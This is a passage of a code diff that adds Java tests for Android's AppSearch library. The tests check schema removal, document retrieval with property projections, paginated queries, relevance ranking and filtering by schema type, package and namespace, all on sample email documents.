+        List<GenericDocument> outDocuments =
+                doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "email1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email);
+
+        // Try to remove the email schema. This should fail as it's an incompatible change.
+        Throwable failResult1 =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+        assertThat(failResult1).isInstanceOf(AppSearchException.class);
+        assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+        assertThat(failResult1).hasMessageThat().contains("Deleted types: {builtin:Email}");
+
+        // Try to remove the email schema again, which should now work as we set forceOverride to
+        // be true.
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+        // Make sure the indexed email is gone.
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace(GenericDocument.DEFAULT_NAMESPACE)
+                                        .addUris("email1")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("email1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Try to index an email again. This should fail as the schema has been removed.
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("email2").setSubject("testPut example").build();
+        AppSearchBatchResult<String, Void> failResult2 =
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build())
+                        .get();
+        assertThat(failResult2.isSuccess()).isFalse();
+        assertThat(failResult2.getFailures().get("email2").getErrorMessage())
+                .isEqualTo(
+                        "Schema type config 'com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email' not found");
+    }
+
+    @Test
+    @Ignore("TODO(b/177266929)")
+    public void testRemoveSchema_twoDatabases() throws Exception {
+        // Schema registration in mDb1 and mDb2
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+
+        // Index an email and check it present in database1.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("email1").setSubject("testPut example").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        List<GenericDocument> outDocuments =
+                doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "email1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email1);
+
+        // Index an email and check it present in database2.
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("email2").setSubject("testPut example").build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+        outDocuments = doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "email2");
+        assertThat(outDocuments).hasSize(1);
+        outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email2);
+
+        // Try to remove the email schema in database1. This should fail as it's an incompatible
+        // change.
+        Throwable failResult1 =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+        assertThat(failResult1).isInstanceOf(AppSearchException.class);
+        assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+        assertThat(failResult1).hasMessageThat().contains("Deleted types: {builtin:Email}");
+
+        // Try to remove the email schema again, which should now work as we set forceOverride to
+        // be true.
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+        // Make sure the indexed email is gone in database 1.
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace(GenericDocument.DEFAULT_NAMESPACE)
+                                        .addUris("email1")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("email1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Try to index an email again. This should fail as the schema has been removed.
+        AppSearchEmail email3 =
+                new AppSearchEmail.Builder("email3").setSubject("testPut example").build();
+        AppSearchBatchResult<String, Void> failResult2 =
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email3).build())
+                        .get();
+        assertThat(failResult2.isSuccess()).isFalse();
+        assertThat(failResult2.getFailures().get("email3").getErrorMessage())
+                .isEqualTo(
+                        "Schema type config 'com.android.cts.appsearch$"
+                                + DB_NAME_1
+                                + "/builtin:Email' not found");
+
+        // Make sure email in database 2 still present.
+        outDocuments = doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "email2");
+        assertThat(outDocuments).hasSize(1);
+        outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(email2);
+
+        // Make sure email could still be indexed in database 2.
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+    }
+
+    @Test
+    public void testGetDocuments() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Get the document
+        List<GenericDocument> outDocuments = doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1");
+        assertThat(outDocuments).hasSize(1);
+        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+        assertThat(outEmail).isEqualTo(inEmail);
+
+        // Can't get the document in the other instance.
+        AppSearchBatchResult<String, GenericDocument> failResult =
+                mDb2.getByUri(new GetByUriRequest.Builder().addUris("uri1").build()).get();
+        assertThat(failResult.isSuccess()).isFalse();
+        assertThat(failResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testGetDocuments_projection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder()
+                        .setNamespace("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_projectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder()
+                        .setNamespace("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_projectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder()
+                        .setNamespace("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection("NonExistentType", Collections.emptyList())
+                        .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_wildcardProjection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder()
+                        .setNamespace("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(
+                                GetByUriRequest.PROJECTION_SCHEMA_TYPE_WILDCARD, "subject", "to")
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_wildcardProjectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder()
+                        .setNamespace("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection(
+                                GetByUriRequest.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                Collections.emptyList())
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGetDocuments_wildcardProjectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Get with type property paths {"Email", ["subject", "to"]}
+        GetByUriRequest request =
+                new GetByUriRequest.Builder()
+                        .setNamespace("namespace")
+                        .addUris("uri1", "uri2")
+                        .addProjection("NonExistentType", Collections.emptyList())
+                        .addProjection(
+                                GetByUriRequest.PROJECTION_SCHEMA_TYPE_WILDCARD, "subject", "to")
+                        .build();
+        List<GenericDocument> outDocuments = doGet(mDb1, request);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(outDocuments).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testQuery() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents.get(0)).isEqualTo(inEmail);
+
+        // Multi-term query
+        searchResults =
+                mDb1.search(
+                        "body email",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents.get(0)).isEqualTo(inEmail);
+    }
+
+    @Test
+    public void testQuery_getNextPage() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        Set<AppSearchEmail> emailSet = new HashSet<>();
+        PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+        // Index 31 documents
+        for (int i = 0; i < 31; i++) {
+            AppSearchEmail inEmail =
+                    new AppSearchEmail.Builder("uri" + i)
+                            .setFrom("from@example.com")
+                            .setTo("to1@example.com", "to2@example.com")
+                            .setSubject("testPut example")
+                            .setBody("This is the body of the testPut email")
+                            .build();
+            emailSet.add(inEmail);
+            putDocumentsRequestBuilder.addGenericDocuments(inEmail);
+        }
+        checkIsBatchResultSuccess(mDb1.put(putDocumentsRequestBuilder.build()));
+
+        // Set number of results per page is 7.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultCountPerPage(7)
+                                .build());
+        List<GenericDocument> documents = new ArrayList<>();
+
+        int pageNumber = 0;
+        List<SearchResult> results;
+
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            ++pageNumber;
+            for (SearchResult result : results) {
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+
+        // check all document presents
+        assertThat(documents).containsExactlyElementsIn(emailSet);
+        assertThat(pageNumber).isEqualTo(6); // 5 (upper(31/7)) + 1 (final empty page)
+    }
+
+    @Test
+    public void testQuery_relevanceScoring() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("Mary had a little lamb")
+                        .setBody("A little lamb, little lamb")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("I'm a little teapot")
+                        .setBody("short and stout. Here is my handle, here is my spout.")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Query for "little". It should match both emails.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "little",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setRankingStrategy(SearchSpec.RANKING_STRATEGY_RELEVANCE_SCORE)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email1 should be ranked higher because 'little' appears three times in email1 and
+        // only once in email2.
+        assertThat(documents).containsExactly(email1, email2).inOrder();
+
+        // Query for "little OR stout". It should match both emails.
+        searchResults =
+                mDb1.search(
+                        "little OR stout",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setRankingStrategy(SearchSpec.RANKING_STRATEGY_RELEVANCE_SCORE)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email2 should be ranked higher because 'little' appears once and "stout", which is a
+        // rarer term, appears once. email1 only has the three 'little' appearances.
+        assertThat(documents).containsExactly(email2, email1).inOrder();
+    }
+
+    @Test
+    public void testQuery_typeFilter() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("foo")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(genericSchema)
+                                .build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument inDoc =
+                new GenericDocument.Builder<>("uri2", "Generic")
+                        .setPropertyString("foo", "body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(inEmail, inDoc)
+                                .build()));
+
+        // Query for the documents
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        assertThat(documents).containsExactly(inEmail, inDoc);
+
+        // Query only for Document
+        searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .addFilterSchemas(
+                                        "Generic",
+                                        "Generic") // duplicate type in filter won't matter.
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inDoc);
+    }
+
+    @Test
+    public void testQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+
+        // Query for the document within our package
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(email);
+
+        // Query for the document in some other package, which won't exist
+        searchResults =
+                mDb1.search(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames("some.other.package")
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).isEmpty();
+    }
+
+    @Test
+    public void testQuery_namespaceFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("expectedNamespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail unexpectedEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("unexpectedNamespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(expectedEmail, unexpectedEmail)
+                                .build()));
+
+        // Query for all namespaces
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        assertThat(documents).containsExactly(expectedEmail, unexpectedEmail);
+
+        // Query only for expectedNamespace
+        searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .addFilterNamespaces("expectedNamespace")
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(expectedEmail);
+    }
+
+    @Test
+    public void testQuery_getPackageName() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+
+        List<SearchResult> results;
+        List<GenericDocument> documents = new ArrayList<>();
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            for (SearchResult result : results) {
+                assertThat(result.getDocument()).isEqualTo(inEmail);
+                assertThat(result.getPackageName())
+                        .isEqualTo(ApplicationProvider.getApplicationContext().getPackageName());
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+        assertThat(documents).hasSize(1);
+    }
+
+    @Test
+    public void testQuery_getDatabaseName() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
